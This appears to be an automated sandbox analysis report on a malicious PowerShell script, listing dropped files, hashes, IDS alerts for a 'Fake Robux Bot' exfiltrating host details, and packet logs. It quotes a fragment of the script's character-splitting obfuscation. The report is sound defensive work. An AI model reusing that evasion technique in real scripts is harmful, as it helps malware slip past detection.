Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.242072843949939
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23frozxs7+AEszIcNwi23frl:p37Lvkmb6KwZjoWZEJZjl
MD5:	BD03AFD5784D5818D82797026EFFD511
SHA1:	E03B484FDD32E02126494F1078D66CEC6999577A
SHA-256:	9FF42EDB35F86681493D21AF524B2FCD0C87596EE23C7E3BF708A2BA5D5EDE1B
SHA-512:	CB570806EDA497E87450DCE5EE794D2682ECBFCD0A13CDA281A17E8C7A36CCDE51116A01D72478F9B8DEF2D30230EF8FC8A1E76CE61BDD3222C9BB991E648B78
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.0.cs"

C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9829599233523396
Encrypted:	false
SSDEEP:	48:6fpLNvhfeRPBFLMKhSJeCXumwRvV1ul8a3wq:8JhfeR5dj1G6K
MD5:	BF544971CDB90053D2744E018A2E81A8
SHA1:	CABF0857B235B5F5DC15F50D67E7F8B20529EEDA
SHA-256:	2154A02EA85C54820A21DA3AAC60FB87698A1C33F02304E3C440F6562F44D942
SHA-512:	814E6D69A1F85A4C05658D38D3BF3A04198BF909C4C78D8B1549469727EF313E261A3C885FC5EC5F7E9588F479218EFFCD0FBDEAB5470171364266C9B83CFC0A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (460), with CRLF, CR line terminators
Category:	modified
Size (bytes):	881
Entropy (8bit):	5.317295747148393
Encrypted:	false
SSDEEP:	24:KwId3ka6Kg1Ev0Kax5DqBVKVrdFAMBJTH:xkka671Ev0K2DcVKdBJj
MD5:	C4D6D3B69F432F7A245B38DFFD846212
SHA1:	B47B41DFD5403CC98CA9E569E332061A792F194D
SHA-256:	82046153157302B9470F8E1AD16C9507EF1E1EAF131CC7E2BBD2CCF1A58C62E3
SHA-512:	2770FF41A7F93AFC3794690438570466B453EE6780878A6053BD16AF77F36F8F648762215E854BD0F4082B8406FE0778382A2EA665DB71F47D6BE1EE87FF0DFF
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	3.7418218180837264
Encrypted:	false
SSDEEP:	96:3RNeECorlkvhkvCCtO1UY00vH11UY00nHu:3RNeMtOSYvSYg
MD5:	9F83BFC212A48F0FFBFD2775DD62A0D5
SHA1:	0A399389B260E15F9BB692C432B9A1A3DE093189
SHA-256:	923A2CE40F365DA0C63CABD751BDFE054635C513052D0AEB61002895E0059B7E
SHA-512:	6144EF72BBE9522AC7F0289833CCC0309409A7F77F8EC1E2D6B966790050CDBC24CE0E9F87B862EFD4FB8E8C43263806518733B7E36A19639157FB0F9F5BB605
Malicious:	false
Preview:	...................................FL..................F.".. ....._......j....z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg._....".f.......j........t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=OY............................3*N.A.p.p.D.a.t.a...B.V.1.....OY....Roaming.@......EW.=OY................................R.o.a.m.i.n.g.....\.1.....EW\|>..MICROS~1..D......EW.=OY................................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=OY............................l.9.W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=OY......................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=OY......................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=OY......9...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NOJBTVPBAQ0HFWHLXA5J.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	3.7418218180837264
Encrypted:	false
SSDEEP:	96:3RNeECorlkvhkvCCtO1UY00vH11UY00nHu:3RNeMtOSYvSYg
MD5:	9F83BFC212A48F0FFBFD2775DD62A0D5
SHA1:	0A399389B260E15F9BB692C432B9A1A3DE093189
SHA-256:	923A2CE40F365DA0C63CABD751BDFE054635C513052D0AEB61002895E0059B7E
SHA-512:	6144EF72BBE9522AC7F0289833CCC0309409A7F77F8EC1E2D6B966790050CDBC24CE0E9F87B862EFD4FB8E8C43263806518733B7E36A19639157FB0F9F5BB605
Malicious:	false
Preview:	...................................FL..................F.".. ....._......j....z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg._....".f.......j........t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=OY............................3*N.A.p.p.D.a.t.a...B.V.1.....OY....Roaming.@......EW.=OY................................R.o.a.m.i.n.g.....\.1.....EW\|>..MICROS~1..D......EW.=OY................................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=OY............................l.9.W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=OY......................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=OY......................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=OY......9...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17986)
Entropy (8bit):	3.907629029493936
TrID:
File name:	cr_asm3.ps1
File size:	27'651 bytes
MD5:	b1e2bf28f0bb077edc92a81173ccbbfa
SHA1:	425c6a7ae95888820b4411730475fa9b19cdb6f3
SHA256:	682551bed0e0e7aaba3274d84d5fc80a04b926ac1e4a78e5e312eb2ffd7a5012
SHA512:	a042101eb839273832e6347517ed51c94ed6b2e512276de5036c0ccd49c2552a01aa758e638a5da5bbe3add11c7a54f4d9afd2e614aef5a9f5f7d1f10d38b600
SSDEEP:	192:ZaevAOBMDy2fNXj5GA+uOgMsM1wpFshbwqUdMVii2H:RvtODy2fNXj5GA+tlFb3UaUH
TLSH:	A5C2A9F6B318509FBAC7AF9CC3455192D26DD17123E0594BFBAD880EEACAC53502076E
File Content Preview:	$P1 = 'S'; $P2 = 'y'; $P3 = 's'; $P4 = 't'; $P5 = 'e'; $P6 = 'm'.$Sys = $P1 + $P2 + $P3 + $P4 + $P5 + $P6..$M1 = 'M'; $M2 = 'a'; $M3 = 'n'; $M4 = 'a'; $M5 = 'g'; $M6 = 'e'; $M7 = 'm'; $M8 = 'e'; $M9 = 'n'; $M10 = 't'.$Mgmt = $M1 + $M2 + $M3 + $M4 + $M5 +

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-15T18:08:12.766333+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49703	185.199.109.133	443	TCP
2024-10-15T18:08:27.991660+0200	2857658	ETPRO MALWARE Win32/Fake Robux Bot Registration	1	192.168.2.7	49775	162.159.138.232	443	TCP
2024-10-15T18:08:42.150593+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.7	49852	162.159.138.232	443	TCP
2024-10-15T18:08:49.372385+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.7	49889	162.159.138.232	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 18:08:10.576301098 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:10.576349020 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:10.576425076 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:10.587518930 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:10.587554932 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.211010933 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.211098909 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.216873884 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.216892958 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.217212915 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.231057882 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.271409035 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.458034039 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.458276987 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.458304882 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.458338976 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.458359957 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.458533049 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.458813906 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.469552040 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.469629049 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.469640017 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.469679117 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.469722986 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.469728947 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.512402058 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.579438925 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.579499960 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.579556942 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.579586983 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.580100060 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.580130100 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.580142975 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.580153942 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.580197096 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.580203056 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.591339111 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.591408014 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.591415882 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.591778994 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.591829062 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.591836929 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.637386084 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.705018044 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705106020 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705132008 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705152035 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.705167055 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705213070 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.705219030 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705234051 CEST	443	49701	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.705277920 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.759860992 CEST	49701	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.775923014 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.775975943 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:11.776043892 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.776375055 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:11.776386023 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.473546982 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.475048065 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.475066900 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766329050 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766652107 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766679049 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766702890 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766707897 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.766722918 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.766747952 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.769102097 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.769155025 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.769169092 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.772355080 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.772416115 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.772427082 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.824879885 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.894630909 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.894821882 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.894893885 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.894906998 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.894984007 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.895032883 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.895037889 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.895275116 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.895350933 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.895356894 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.897670984 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.897763968 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.897774935 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.947552919 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.947791100 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:12.947808981 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:12.996757984 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.025072098 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.025470972 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.025527954 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.025542974 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.025815010 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.025860071 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.025867939 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.074882984 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.085314035 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.085397005 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.085447073 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.085465908 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.086117029 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.086155891 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.086158991 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.086169004 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.086205006 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.157718897 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.157923937 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.158005953 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.158024073 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.158402920 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.158449888 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.158461094 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.161937952 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.161988020 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.162003994 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.212671995 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.212713957 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.212776899 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.212795973 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.212836027 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.213002920 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.213151932 CEST	443	49703	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:13.213203907 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:13.280268908 CEST	49703	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:24.753350973 CEST	49759	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:24.759293079 CEST	80	49759	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:24.759372950 CEST	49759	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:24.761657953 CEST	49759	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:24.767484903 CEST	80	49759	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:25.440244913 CEST	80	49759	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:25.445009947 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:25.445060015 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:25.445122957 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:25.450093031 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:25.450118065 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:25.567027092 CEST	49759	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.103831053 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.103907108 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.107369900 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.107382059 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.107701063 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.117588997 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.163395882 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.265484095 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.265575886 CEST	443	49764	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:26.265826941 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.282135963 CEST	49764	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:26.341139078 CEST	49770	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.346061945 CEST	80	49770	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.346143961 CEST	49770	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.352574110 CEST	49770	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.357383013 CEST	80	49770	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.974811077 CEST	80	49770	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.975440025 CEST	49770	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.979686022 CEST	80	49770	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.979763985 CEST	49770	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.980165005 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.980195045 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.980400085 CEST	80	49770	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:26.980797052 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.983407974 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:26.983419895 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.133083105 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.133116961 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.133332014 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.133714914 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.133730888 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.593990088 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.594058037 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.601486921 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.601499081 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.601792097 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.603568077 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.647392988 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729650974 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729840994 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729866982 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729887962 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.729897022 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729908943 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.729954958 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.730113029 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.730113029 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.730128050 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.741744995 CEST	443	49772	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:27.741791964 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.754092932 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.754162073 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.755985975 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.755996943 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.756258965 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.764025927 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.764661074 CEST	49772	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:27.811415911 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.811487913 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:27.811501026 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.991686106 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.991745949 CEST	443	49775	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:27.991786957 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:28.000906944 CEST	49775	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:32.844623089 CEST	49807	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:32.849471092 CEST	80	49807	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:32.849642992 CEST	49807	80	192.168.2.7	104.20.3.235
